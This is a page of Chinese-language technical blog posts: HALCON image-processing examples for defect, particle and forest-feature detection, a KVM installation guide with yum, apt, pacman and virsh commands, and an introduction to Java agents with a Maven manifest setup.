select_shape (Basins, SelectedRegions1, 'column1', 'and', 2, Width - 1)
select_shape (SelectedRegions1, SelectedRegions2, 'row1', 'and', 2, Height - 1)
select_shape (SelectedRegions2, SelectedRegions3, 'column2', 'and', 1, Width - 3)
select_shape (SelectedRegions3, Inner, 'row2', 'and', 1, Height - 3)
select_shape (Inner, Irregular, ['moments_i1','moments_i1'], 'or', [0,9.5e8], [1.5e8,1e10])

分水嶺方法劃分圖像

結果圖

源程序

* atoms.hdev: Locates irregularities in an atomic grid structure
* 
dev_close_window ()
dev_update_window ('off')
* ****
* Acquire image獲取圖像
* ****
read_image (Image, 'atoms')
get_image_size (Image, Width, Height)
crop_rectangle1 (Image, Image, Height / 2, 0, Height - 1, Width - 1)
get_image_size (Image, Width, Height)
dev_open_window_fit_image (Image, 0, 0, -1, -1, WindowID)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
dev_set_draw ('margin')
dev_set_line_width (2)
dev_display (Image)
disp_message (WindowID, 'Original image', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* Segment image分割圖像
* ****
* -> Using watershed
gauss_filter (Image, ImageGauss, 5)
watersheds (ImageGauss, Basins, Watersheds)
dev_display (Image)
dev_set_colored (12)
dev_display (Watersheds)
disp_message (WindowID, 'Watersheds', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* Process regions處理區域
* ****
* -> Skip regions at the border of the image
smallest_rectangle1 (Basins, Row1, Column1, Row2, Column2)
select_shape (Basins, SelectedRegions1, 'column1', 'and', 2, Width - 1)
select_shape (SelectedRegions1, SelectedRegions2, 'row1', 'and', 2, Height - 1)
select_shape (SelectedRegions2, SelectedRegions3, 'column2', 'and', 1, Width - 3)
select_shape (SelectedRegions3, Inner, 'row2', 'and', 1, Height - 3)
* -> Select irregularly shaped atoms
select_shape (Inner, Irregular, ['moments_i1','moments_i1'], 'or', [0,9.5e8], [1.5e8,1e10])
dev_display (Image)
dev_set_line_width (1)
dev_set_color ('white')
dev_display (Inner)
dev_set_line_width (3)
dev_set_color ('red')
dev_display (Irregular)
disp_message (WindowID, 'Defects', 'window', 12, 12, 'black', 'true')
Analyzing Particles

本示例的任務是分析液體中的顆粒。此應用程序的主要困難是存在兩種類型的物體：大的明亮物體和對比度低的小物體。此外，還存在噪音干擾。

該程序使用兩種不同的方法分別對兩類對象進行分段：全局閾值和局部閾值。通過附加的后處理，可以以可靠的方式提取小顆粒。

threshold (Image, Large, 110, 255)
dilation_circle (Large, LargeDilation, 7.5)

complement (LargeDilation, NotLarge)
reduce_domain (Image, NotLarge, ParticlesRed)
mean_image (ParticlesRed, Mean, 31, 31)
dyn_threshold (ParticlesRed, Mean, SmallRaw, 3, 'light')
opening_circle (SmallRaw, Small, 2.5)
connection (Small, SmallConnection)

源程序

* particle.hdev: Measurement of small particles
* 
dev_update_off ()
dev_close_window ()
dev_open_window (0, 0, 512, 512, 'black', WindowID)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
read_image (Image, 'particle')
dev_display (Image)
dev_disp_text ('Original image', 'window', 12, 12, 'black', [], [])
dev_disp_text ('Press Run (F5) to continue', 'window', 'bottom', 'right', 'black', [], [])
stop ()
threshold (Image, Large, 110, 255)
* Dilate regions with a circular structuring element
dilation_circle (Large, LargeDilation, 7.5)
dev_display (Image)
dev_set_draw ('margin')
dev_set_line_width (3)
dev_set_color ('red')
dev_display (LargeDilation)
dev_set_draw ('fill')
dev_disp_text ('Exclude large areas from processing', 'window', 12, 12, 'black', [], [])
dev_disp_text ('Press Run (F5) to continue', 'window', 'bottom', 'right', 'black', [], [])
stop ()
* Continue to calculate small regions
* Return the complement of a region
complement (LargeDilation, NotLarge)
reduce_domain (Image, NotLarge, ParticlesRed)
mean_image (ParticlesRed, Mean, 31, 31)
* Segment the image using a local threshold
dyn_threshold (ParticlesRed, Mean, SmallRaw, 3, 'light')
opening_circle (SmallRaw, Small, 2.5)
connection (Small, SmallConnection)
dev_display (Image)
dev_set_colored (12)
dev_display (SmallConnection)
dev_disp_text ('Extracted small particles', 'window', 12, 12, 'black', [], [])
dev_disp_text ('Press Run (F5) to continue', 'window', 'bottom', 'right', 'black', [], [])
stop ()
* Continue to select several regions and to get information
dev_set_color ('green')
dev_display (Image)
dev_set_draw ('margin')
dev_display (SmallConnection)
Button := 1
* Define limits for the displayed message at the end of the while-loop.
MaxRow := 450
MaxColumn := 440
MinRow := 40
MinColumn := 100
while (Button == 1)
    dev_disp_text (['Select object with left mouse button','Right button to quit'], 'window', 12, 12, 'black', 'box_color', '#fce9d4dd')
    dev_set_color ('green')
    get_mbutton (WindowID, Row, Column, Button)
    dev_display (Image)
    dev_display (SmallConnection)
    dev_set_color ('red')
    select_region_point (SmallConnection, SmallSingle, Row, Column)
    dev_display (SmallSingle)
    count_obj (SmallSingle, NumSingle)
    if (NumSingle == 1)
        intensity (SmallSingle, Image, MeanGray, DeviationGray)
        area_center (SmallSingle, Area, Row, Column)
        * Limit the message so that it is displayed entirely inside the graphics window.
        if (Row > MaxRow)
            Row := MaxRow
        endif
        if (Column > MaxColumn)
            Column := MaxColumn
        endif
        if (Row < MinRow)
            Row := MinRow
        endif
        if (Column < MinColumn)
            Column := MinColumn
        endif
        dev_disp_text (['Area = ' + Area,'Intensity = ' + MeanGray$'.3'], 'image', Row + 10, Column - 90, 'black', 'box_color', '#fce9d4dd')
    endif
endwhile
dev_set_line_width (1)
dev_update_on ()
Extracting Forest Features from Color Infrared Image

本示例的任務是在圖中所示的彩色紅外圖像中檢測不同的對象類別：樹（針恭弘=叶 恭弘和落恭弘=叶 恭弘），草地和道路

圖像數據是彩色紅外圖像，由於其特定的顏色，可以非常輕鬆地提取道路。需要做到那樣的話，要將多通道圖像拆分為單通道。

read_image (Forest, 'forest_air1')
decompose3 (Forest, Red, Green, Blue)
threshold (Blue, BlueBright, 80, 255)
connection (BlueBright, BlueBrightConnection)
select_shape (BlueBrightConnection, Path, 'area', 'and', 100, 100000000)

山毛櫸樹根據其在紅色通道中的強度和最小大小進行分割

threshold (Red, RedBright, 120, 255)
connection (RedBright, RedBrightConnection)
select_shape (RedBrightConnection, RedBrightBig, 'area', 'and', 1500, 10000000)
closing_circle (RedBrightBig, RedBrightClosing, 7.5)
opening_circle (RedBrightClosing, RedBrightOpening, 9.5)
connection (RedBrightOpening, RedBrightOpeningConnection)
select_shape (RedBrightOpeningConnection, BeechBig, 'area', 'and', 1000, 100000000)
select_gray (BeechBig, Blue, Beech, 'mean', 'and', 0, 59)

草地具有相似的光譜特性，但亮度略高

union1 (Beech, BeechUnion)
complement (BeechUnion, NotBeech)
difference (NotBeech, Path, NotBeechNotPath)
reduce_domain (Red, NotBeechNotPath, NotBeechNotPathRed)
threshold (NotBeechNotPathRed, BrightRest, 150, 255)
connection (BrightRest, BrightRestConnection)
select_shape (BrightRestConnection, Meadow, 'area', 'and', 500, 1000000)

使用分水嶺方法提取針恭弘=叶 恭弘樹，並在盆地內部增加閾值

union2 (Path, RedBrightClosing, BeechPath)
smooth_image (Red, RedGauss, 'gauss', 4.0)
invert_image (RedGauss, Invert)
watersheds (Invert, SpruceRed, Watersheds)
select_shape (SpruceRed, SpruceRedLarge, 'area', 'and', 100, 5000)
select_gray (SpruceRedLarge, Red, SpruceRedInitial, 'max', 'and', 100, 200)
gen_empty_obj (LocalThresh)
count_obj (SpruceRedInitial, NumSpruce)
dev_update_var ('off')
dev_update_pc ('off')
for i := 1 to NumSpruce by 1
    select_obj (SpruceRedInitial, SingleSpruce, i)
    min_max_gray (SingleSpruce, Red, 50, Min, Max, Range)
    reduce_domain (Red, SingleSpruce, SingleSpruceRed)
    threshold (SingleSpruceRed, SingleSpruceBright, Min, 255)
    connection (SingleSpruceBright, SingleSpruceBrightCon)
    select_shape_std (SingleSpruceBrightCon, MaxAreaSpruce, 'max_area', 70)
    concat_obj (MaxAreaSpruce, LocalThresh, LocalThresh)
endfor
opening_circle (LocalThresh, FinalSpruce, 1.5)

源程序

dev_close_window ()
dev_update_window ('off')
read_image (Forest, 'forest_air1')
get_image_size (Forest, Width, Height)
dev_open_window (0, 0, Width, Height, 'black', WindowHandle)
decompose3 (Forest, Red, Green, Blue)
dev_display (Red)
threshold (Blue, BlueBright, 80, 255)
connection (BlueBright, BlueBrightConnection)
select_shape (BlueBrightConnection, Path, 'area', 'and', 100, 100000000)
dev_set_color ('red')
dev_set_draw ('margin')
dev_display (Path)
disp_continue_message (WindowHandle, 'black', 'true')
stop ()
threshold (Red, RedBright, 120, 255)
connection (RedBright, RedBrightConnection)
select_shape (RedBrightConnection, RedBrightBig, 'area', 'and', 1500, 10000000)
closing_circle (RedBrightBig, RedBrightClosing, 7.5)
opening_circle (RedBrightClosing, RedBrightOpening, 9.5)
connection (RedBrightOpening, RedBrightOpeningConnection)
select_shape (RedBrightOpeningConnection, BeechBig, 'area', 'and', 1000, 100000000)
select_gray (BeechBig, Blue, Beech, 'mean', 'and', 0, 59)
dev_display (Red)
dev_display (Beech)
disp_continue_message (WindowHandle, 'black', 'true')
stop ()
union1 (Beech, BeechUnion)
complement (BeechUnion, NotBeech)
difference (NotBeech, Path, NotBeechNotPath)
reduce_domain (Red, NotBeechNotPath, NotBeechNotPathRed)
threshold (NotBeechNotPathRed, BrightRest, 150, 255)
connection (BrightRest, BrightRestConnection)
select_shape (BrightRestConnection, Meadow, 'area', 'and', 500, 1000000)
dev_display (Red)
dev_display (Meadow)
disp_continue_message (WindowHandle, 'black', 'true')
stop ()
union2 (Path, RedBrightClosing, BeechPath)
smooth_image (Red, RedGauss, 'gauss', 4.0)
invert_image (RedGauss, Invert)
watersheds (Invert, SpruceRed, Watersheds)
select_shape (SpruceRed, SpruceRedLarge, 'area', 'and', 100, 5000)
select_gray (SpruceRedLarge, Red, SpruceRedInitial, 'max', 'and', 100, 200)
gen_empty_obj (LocalThresh)
count_obj (SpruceRedInitial, NumSpruce)
dev_update_var ('off')
dev_update_pc ('off')
for i := 1 to NumSpruce by 1
    select_obj (SpruceRedInitial, SingleSpruce, i)
    min_max_gray (SingleSpruce, Red, 50, Min, Max, Range)
    reduce_domain (Red, SingleSpruce, SingleSpruceRed)
    threshold (SingleSpruceRed, SingleSpruceBright, Min, 255)
    connection (SingleSpruceBright, SingleSpruceBrightCon)
    select_shape_std (SingleSpruceBrightCon, MaxAreaSpruce, 'max_area', 70)
    concat_obj (MaxAreaSpruce, LocalThresh, LocalThresh)
endfor
opening_circle (LocalThresh, FinalSpruce, 1.5)
dev_set_line_width (2)
dev_set_color ('red')
dev_display (Red)
dev_display (FinalSpruce)
dev_set_color ('green')
dev_display (Beech)
dev_set_color ('yellow')
dev_display (Meadow)
Checking a Boundary for Fins

本示例的任務是檢查塑料零件的外邊界。在這種情況下，某些對象會显示鰭

程序首先提取背景區域（鰭显示為壓痕）

binary_threshold (Fin, Background, 'max_separability', 'light', UsedThreshold)

然後使用形態學運算符關閉背景區域中的壓痕

 closing_circle (Background, ClosedBackground, 250)

封閉區域與原始區域之間的顯著差異是鰭

 difference (ClosedBackground, Background, RegionDifference)
 opening_rectangle1 (RegionDifference, FinRegion, 5, 5)

源程序

* fin.hdev: Detection of a fin
* 
dev_update_window ('off')
read_image (Fins, 'fin' + [1:3])
get_image_size (Fins, Width, Height)
dev_close_window ()
dev_open_window (0, 0, Width[0], Height[0], 'black', WindowID)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
for I := 1 to 3 by 1
    select_obj (Fins, Fin, I)
    dev_display (Fin)
    binary_threshold (Fin, Background, 'max_separability', 'light', UsedThreshold)
    dev_set_color ('blue')
    dev_set_draw ('margin')
    dev_set_line_width (4)
    dev_display (Background)
    disp_continue_message (WindowID, 'black', 'true')
    stop ()
    closing_circle (Background, ClosedBackground, 250)
    dev_set_color ('green')
    dev_display (ClosedBackground)
    disp_continue_message (WindowID, 'black', 'true')
    stop ()
    difference (ClosedBackground, Background, RegionDifference)
    opening_rectangle1 (RegionDifference, FinRegion, 5, 5)
    dev_display (Fin)
    dev_set_color ('red')
    dev_display (FinRegion)
    area_center (FinRegion, FinArea, Row, Column)
    if (I < 3)
        disp_continue_message (WindowID, 'black', 'true')
        stop ()
    endif
endfor
Bonding Balls

本示例的任務是檢查圖中PCB板所示的球形鍵合直徑

球形鍵的提取有兩個步驟：首先，通過分割亮區來定位裸片，然後將它們轉換為最小的矩形

threshold (Bond, Bright, 100, 255)
shape_trans (Bright, Die, 'rectangle2')

現在，使用reduce_domain處理模具內部的區域。在此ROI中，程序檢查與線材相對應的深色區域

reduce_domain (Bond, Die, DieGrey)
threshold (DieGrey, Wires, 0, 50)
fill_up_shape (Wires, WiresFilled, 'area', 1, 100)

刪除不相關的結構,並按預定順序排列鍵提取所需的特徵

opening_circle (WiresFilled, Balls, 15.5)
connection (Balls, SingleBalls)
select_shape (SingleBalls, IntermediateBalls, 'circularity', 'and', 0.85, 1.0)
sort_region (IntermediateBalls, FinalBalls, 'first_point', 'true', 'column')
smallest_circle (FinalBalls, Row, Column, Radius)

源代碼

* ball.hdev: Inspection of Ball Bonding
* 
dev_update_window ('off')
dev_close_window ()
dev_open_window (0, 0, 728, 512, 'black', WindowID)
read_image (Bond, 'die/die_03')
dev_display (Bond)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
disp_continue_message (WindowID, 'black', 'true')
stop ()
threshold (Bond, Bright, 100, 255)
shape_trans (Bright, Die, 'rectangle2')
dev_set_color ('green')
dev_set_line_width (3)
dev_set_draw ('margin')
dev_display (Die)
disp_continue_message (WindowID, 'black', 'true')
stop ()
reduce_domain (Bond, Die, DieGrey)
threshold (DieGrey, Wires, 0, 50)
fill_up_shape (Wires, WiresFilled, 'area', 1, 100)
dev_display (Bond)
dev_set_draw ('fill')
dev_set_color ('red')
dev_display (WiresFilled)
disp_continue_message (WindowID, 'black', 'true')
stop ()
opening_circle (WiresFilled, Balls, 15.5)
dev_set_color ('green')
dev_display (Balls)
disp_continue_message (WindowID, 'black', 'true')
stop ()
connection (Balls, SingleBalls)
select_shape (SingleBalls, IntermediateBalls, 'circularity', 'and', 0.85, 1.0)
sort_region (IntermediateBalls, FinalBalls, 'first_point', 'true', 'column')
dev_display (Bond)
dev_set_colored (12)
dev_display (FinalBalls)
disp_continue_message (WindowID, 'black', 'true')
stop ()
smallest_circle (FinalBalls, Row, Column, Radius)
NumBalls := |Radius|
Diameter := 2 * Radius
meanDiameter := mean(Diameter)
minDiameter := min(Diameter)
dev_display (Bond)
disp_circle (WindowID, Row, Column, Radius)
dev_set_color ('white')
disp_message (WindowID, 'D: ' + Diameter$'.4', 'image', Row - 2 * Radius, Column, 'white', 'false')
dev_update_window ('on')
Surface Scratches

本示例檢測金屬表面上的划痕
分割的主要困難是背景不均勻以及划痕是薄的結構。可以使用局部閾值解決這兩個問題。即算子mean_image和dyn_threshold,在connection后，將小對象(主要是噪聲)移除

mean_image (Image, ImageMean, 7, 7)
dyn_threshold (Image, ImageMean, DarkPixels, 5, 'dark')
connection (DarkPixels, ConnectedRegions)
select_shape (ConnectedRegions, SelectedRegions, 'area', 'and', 10, 1000)

選擇的一部分是划痕，但是如果我們仔細觀察，就會發現它們被部分分割了。為了解決這個問題，我們將所有分割部分再次合併到一個大區域中。通過應用dilation_circle將具有給定最大距離的物體組合在一起。最終獲得正確形狀的划痕。由於膨脹的緣故，使用skeleton將形狀變薄到一個像素的寬度

union1 (SelectedRegions, RegionUnion)
dilation_circle (RegionUnion, RegionDilation, 3.5)
skeleton (RegionDilation, Skeleton)
connection (Skeleton, Errors)

最後一步是區分表面上的小點和划痕。這是通過使用大小作為特徵的select_shape實現的。

select_shape (Errors, Scratches, 'area', 'and', 50, 10000)
select_shape (Errors, Dots, 'area', 'and', 1, 50)

源代碼

* This programm shows the extraction of surface scratches via
* local thresholding and morphological post-processing
* 
dev_update_off ()
dev_close_window ()
* 
* Step 1: Acquire image
* 
read_image (Image, 'surface_scratch')
get_image_size (Image, Width, Height)
dev_open_window_fit_image (Image, 0, 0, Width, Width, WindowID)
set_display_font (WindowID, 16, 'mono', 'true', 'false')
dev_set_draw ('margin')
dev_set_line_width (4)
dev_display (Image)
Message := 'This program shows the extraction of'
Message[1] := 'surface scratches via local thresholding'
Message[2] := 'and morphological post-processing'
disp_message (WindowID, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* 
* Step 2: Segment image
* 
* Using a local threshold
mean_image (Image, ImageMean, 7, 7)
dyn_threshold (Image, ImageMean, DarkPixels, 5, 'dark')
* 
* Extract connected components
connection (DarkPixels, ConnectedRegions)
dev_set_colored (12)
dev_display (Image)
dev_display (ConnectedRegions)
Message := 'Connected components after image segmentation'
Message[1] := 'using a local threshold.'
disp_message (WindowID, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* 
* Step 3: Process regions
* 
* Select large regions
select_shape (ConnectedRegions, SelectedRegions, 'area', 'and', 10, 1000)
dev_display (Image)
dev_display (SelectedRegions)
disp_message (WindowID, 'Large Regions', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* 
* Visualize fractioned scratch
open_zoom_window (0, round(Width / 2), 2, 303, 137, 496, 3, WindowHandleZoom)
dev_set_color ('blue')
dev_display (Image)
dev_display (SelectedRegions)
set_display_font (WindowHandleZoom, 16, 'mono', 'true', 'false')
disp_message (WindowHandleZoom, 'Fractioned scratches', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowHandleZoom, 'black', 'true')
stop ()
* 
* Merge fractioned scratches via morphology
union1 (SelectedRegions, RegionUnion)
dilation_circle (RegionUnion, RegionDilation, 3.5)
dev_display (Image)
dev_display (RegionDilation)
Message := 'Region of the scratches after dilation'
disp_message (WindowHandleZoom, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowHandleZoom, 'black', 'true')
stop ()
skeleton (RegionDilation, Skeleton)
connection (Skeleton, Errors)
dev_set_colored (12)
dev_display (Image)
dev_display (Errors)
Message := 'Fractioned scratches merged via morphology'
disp_message (WindowHandleZoom, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowHandleZoom, 'black', 'true')
stop ()
* 
* Distinguish small and large scratches
close_zoom_window (WindowHandleZoom, Width, Height)
select_shape (Errors, Scratches, 'area', 'and', 50, 10000)
select_shape (Errors, Dots, 'area', 'and', 1, 50)
dev_display (Image)
dev_set_color ('red')
dev_display (Scratches)
dev_set_color ('blue')
dev_display (Dots)
Message := 'Extracted surface scratches'
Message[1] := 'Not categorized as scratches'
disp_message (WindowID, Message, 'window', 440, 310, ['red','blue'], 'true')

靈感來源於官方文檔

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一文告訴你Linux如何配置KVM虛擬化–安裝篇

access_timePosted on by admin

KVM全稱”Kernel-based Virtual Machine”,即基於內核的虛擬機，在linux內啟用kvm需要硬件，內核和軟件(qemu)支持，這篇文章教你如何配置並安裝KVM虛擬機.

  • 檢查硬件和系統的兼容性

    • 檢查硬件虛擬化:LC_ALL=C lscpu | grep Virtualization
      這行代碼其中 LC_ALL=C為設置輸出語言用，lscpu輸出CPU信息，在輸出的CPU信息裏面查找“Virtualization”(虛擬化),輸出結果如果有”AMD-V”(AMD CPU) 或者”VT-X”(Intel CPU),則說明你的電腦硬件支持並且已開啟虛擬化，可以下一步
      那如果沒有显示以上兩種呢，就進入BIOS(或者UEFI)找到虛擬化/virtualization/VT-X/AMD-V一般來說是這四個名字裏面任意一個，當然，如果你的班子BIOS裏面是virtualization裏面有vt-x和vt-d兩個的話，就兩個都開。然後，理論上你就能繼續了，除非，你的硬件 根本不支持虛擬化(除非廠家手動閹割,現在一般不會有這問題,博主的本本一開始買來BIOS裏面就是沒有AMD-V的，後來就是靠BIOS更新加上的)。
      舉個例子：博主linux上的显示是:Virtualization: AMD-V則證明該電腦支持AMD 的虛擬化技術

    • 檢查系統是否支持lsmod | grep kvm
      這行代碼告訴你系統是否加載了KVM有關模塊，如果有輸出相關模塊，請看kvm配置，否則接着看kvm的安裝(kvm基於內核，需要內核模塊才能正常工作)

  • KVM 安裝過程
    KVM的依賴項除了內核和內核模塊主要有這些:firewalld(防火牆),dnsmasq,ebtables(網絡方面),libvirt(虛擬化接口),qemu(虛擬機本體)。另外，使用bridge-utils可以設置網卡橋接。
    知道了需要的包，安裝就好了.
    如果你的系統是Centos(RHEL/Fedora同理)你完全可以在安裝的時候就選擇虛擬化服務器的,如果要手動安裝，那麼需要跑這樣一條命令(CENTOS8/fedora可能需要把yum替換為dnf):
    sudo yum install -y virt-* libvirt bridge-utils qemu qemu-img qemu-kvm,需不需要操作selinux就看着辦，如果因為selinux的原因導致無法開機，那就改，沒問題就不需要動了(博主不是專業的運維。平時主玩ARCH，對這塊不是特別了解)

玩Ubuntu系列(ubuntu/deepin/mate/kali……)的同學安裝kvm的話也類似，不過這包名可能和上面有所不同，代碼如下：
sudo apt install qemu qemu-kvm libvirt-bin bridge-utils

Arch用戶
sudo pacman -S qemu libvirt ebtables dnsmasq firewalld bridge-utils

安裝完軟件包,接下來開啟防火牆和libvirt守護進程
sudo systemctl start firewalld && sudo systemctl start libvirtd需不需要enable看你們自己的需要，如果是虛擬化母機或者經常用到虛擬機的話，那麼建議enable，開機自動把虛擬化服務啟動。

講完了基礎安裝工作，剩下的就是你如何控制kvm的事情了。圖形化/命令行

圖形化控制KVM一般使用virt-manager(中文名:虛擬系統管理器),剩下的就是圖形化設置的工作了。

嗯，沒錯，就是這個東西，創建虛擬機的話，只需要點創建虛擬機按鈕就好了(就是圖上那個亮着的按鈕)。

然後，連接這裏選擇QEMU/KVM，就是使用KVM虛擬機創建.

    番外內容:[有的同學可能先裝了libvirt和virt-manager后裝qemu的，就會出現沒有連接或者連接裏面沒有KVM的，那麼，在確保kvm服務開啟的狀態下，點擊文件，添加連接。
        ![](https://img2020.cnblogs.com/blog/2045563/202006/2045563-20200625211926555-1690702968.png)
    出來這個頁面，這裏不用動，直接確定，不出意外，你就能導入KVM的連接了，需要知道的是，如果你之前使用virsh或者qemu命令行管理的話，你能夠在這裏導入kvm連接，但是，並不能接管原來創建的虛擬機。]

至於以何種方式創建虛擬機，就看你需要，不過一般使用第一項使用ISO安裝系統，如果你之前有kvm/qemu的磁盤鏡像(qcow2)，你也可以用第四個(導入現有磁盤鏡像).

這裏選擇需要使用的ISO鏡像文件.
點擊瀏覽彈出這個窗口

然後本地瀏覽選擇鏡像

選擇CPU/運行內存資源

然後創建虛擬硬盤，這裏如果你有現成的qcow2/row鏡像，你也可以直接拿來用。
番外內容：[需要注意這點:通過libvirt 創建qemu鏡像的大小是固定的，就是分多少它馬上就吃多少的，不像vmware這樣會動態擴展，當然，也可以實現，需要參考下面使用代碼創建虛擬機]
然後沒有什麼問題了，就直接點完成，開始安裝系統，安裝系統過程，這裏就不贅述了，至於基礎的管理工作，進去虛擬機的窗口，點擊那個管理按鈕，會進入類似於vmware虛擬機設置的頁面，在裏面可以進行操作(部分操作需要關機)。

下面是代碼創建虛擬機的介紹(高級玩法可能需要手動修改XML文件，這裏就暫時不介紹了)

  • 首先，你需要使用virsh這個命令來管理虛擬機，先創建存儲卷(磁盤鏡像)
    virsh vol-create-as poolname volumename 10GiB --format aw|bochs|raw|qcow|qcow2|vmdk
    一般QEMU/KVM支持的鏡像為qcow/qcow2/row
    或者使用qemu-img來創建鏡像
    敲黑板:qemu-img除了可以創建鏡像以外，也和virsh一樣支持鏡像修改，另外，qemu-img創建鏡像可以選擇預分配模式，從而解決上面使用圖形化鏡像過大的問題.
    qemu-img create -f 'qcow2' -o preallocation=off /home/udream/test.qcow2 10G 這樣就可以創建一個10G大小的，關閉預分配的qcow2鏡像，這個鏡像文件沒安裝系統之前的大小是192.2Kb,默認直接創建的大小為10G
    然後，有了磁盤鏡像，就可以創建虛擬機了
    舉例代碼如下:
             virt-install  \
  -        --name test \
           --memory 4096             \
           --vcpus=2,maxvcpus=4      \
           --cpu host                \
           --cdrom $HOME/test.iso \
           --disk  /home/udream/test.qcow2,size=10GiB  \
           --network user            \
           --virt-type kvm

這段代碼指定了虛擬機名字test，內存1g，CPU最少2核最大4核，安裝盤位置：$HOME/test.iso，盤的大小，網絡類型，虛擬化接口KVM，使用之前創建的虛擬盤 /home/udream/test.qcow2 大小 10G

  創建完成虛擬機以後使用```virsh start 虛擬機名字```啟動虛擬機
  關閉虛擬機把start改為shutdown，強制關機為destory,重啟是reboot
  管理虛擬網絡，使用virsh net-後面跟操作(start/destory/create……)
  當然，還有pool設置存儲池，vol設置存儲卷，snapshot設置快照，具體的，因為字數原因(怕某些同學太長不看)，就不一個個碼了，你可以敲virsh --help查看具體幫助信息，不過。這幾個最常用的也就是create/start/stop/destory/list了，
  這裏舉個例子，啟動虛擬網絡:```virsh net-start 虛擬網絡名``` 創建存儲池```virsh pool-create XML描述文件名```，其他的命令可以按照這樣的方式操作，下一篇是virsh命令的具體玩(配)法(制)介紹。

這次就講到這裏了，本次內容原創純手碼，部分命令為了確認正確性，參考了arch wiki，測試環境為ARCHLINUX 5.7.4-arch1-1 桌面環境kde plasma。

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Java Agent（上）

access_timePosted on by admin

1、java agent是什麼？

—》對用戶透明，不侵入用戶業務代碼。讓java虛擬機加載agent jar

2、java agent有什麼用？

—>應用場景例如：調用鏈追蹤項目，在用戶無感知的情況下，記錄日誌。目前業內使用該技術的有，SkyWalking,Pinpoint(這個監控的粒度更小)

-各個 Java IDE 的調試功能，例如 eclipse、IntelliJ ；

-熱部署功能，例如 JRebel、XRebel、 spring-loaded；

-各種線上診斷工具，例如 Btrace、Greys，還有阿里的 Arthas；

-各種性能分析工具，例如 Visual VM、JConsole 等

3、java agent的實現原理?

https://zhuanlan.zhihu.com/p/147375268

4、 入門案例

4.1、 如何製造自己第一個java agent jar包

4.1.1、 第一步：我們需要一個插件來幫助我們生成帶特定格式的MAINIFEST.MF的jar

4.1.2、 第二步：在啟動項目的時候，在jvm參數中添加 -javaagent: *\ving-agent-0.0.1-SNAPSHOT.jar （在jvm上先加載agent包）

（偷偷地問）特定格式的MAINIFEST.MF是怎樣的？需要包括下面的內容

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: cn.think.in.java.clazz.loader.asm.agent.PreMainTraceAgent

（再偷偷地問），難度每次都讓我手動去弄這個文件，我覺得很麻煩呀，有沒一個工具能幫我們將agent項目打包成包含MAINIFEST.MF的jar？
—–》對，你猜對了，真的有這個工具。那就是maven插件。（說到打包，肯定要想到maven或者gradle了吧）

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>2.2</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Project-name>${project.name}</Project-name>
                            <Project-version>${project.version}</Project-version>
                            <Premain-Class>com.tuling.agent.Agent</Premain-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            <Boot-Class-Path>javassist-3.18.1-GA.jar</Boot-Class-Path>
                        </manifestEntries>
                    </archive>
                    <skip>true</skip>
                </configuration>
            </plugin>

插件

打包之後

測試

問題二：如果有一個類已經被虛擬機加載了，那麼我們的agent包裏面的邏輯就不能加載這個類。但是我就是想把這類替換掉，怎麼辦呢？（熱更新，虛擬機不停的情況下，替換成用戶最新的代碼）

插件

agent代碼的修改

重新打包

測試

問題三：
當JVM已裝置某個類，但是我們想重新走一次premain方法，我們怎樣做呢？
插件

修改agent代碼

打包

測試

思考

看到這裏，細心的朋友，可能會帶有疑問，我在實踐的時候，發現這個類的字節碼的生成並不簡單，如果讓我自己去手動去生成那就很麻煩呀？（麻煩–》複雜度高—》容易出錯—-》上線容易出問題—》那就直接不考慮該技術）
—-》為了解決這個問題，java-ssist就出現了。關於java-ssist，請點擊。

https://www.cnblogs.com/vingLiu/p/13193517.html

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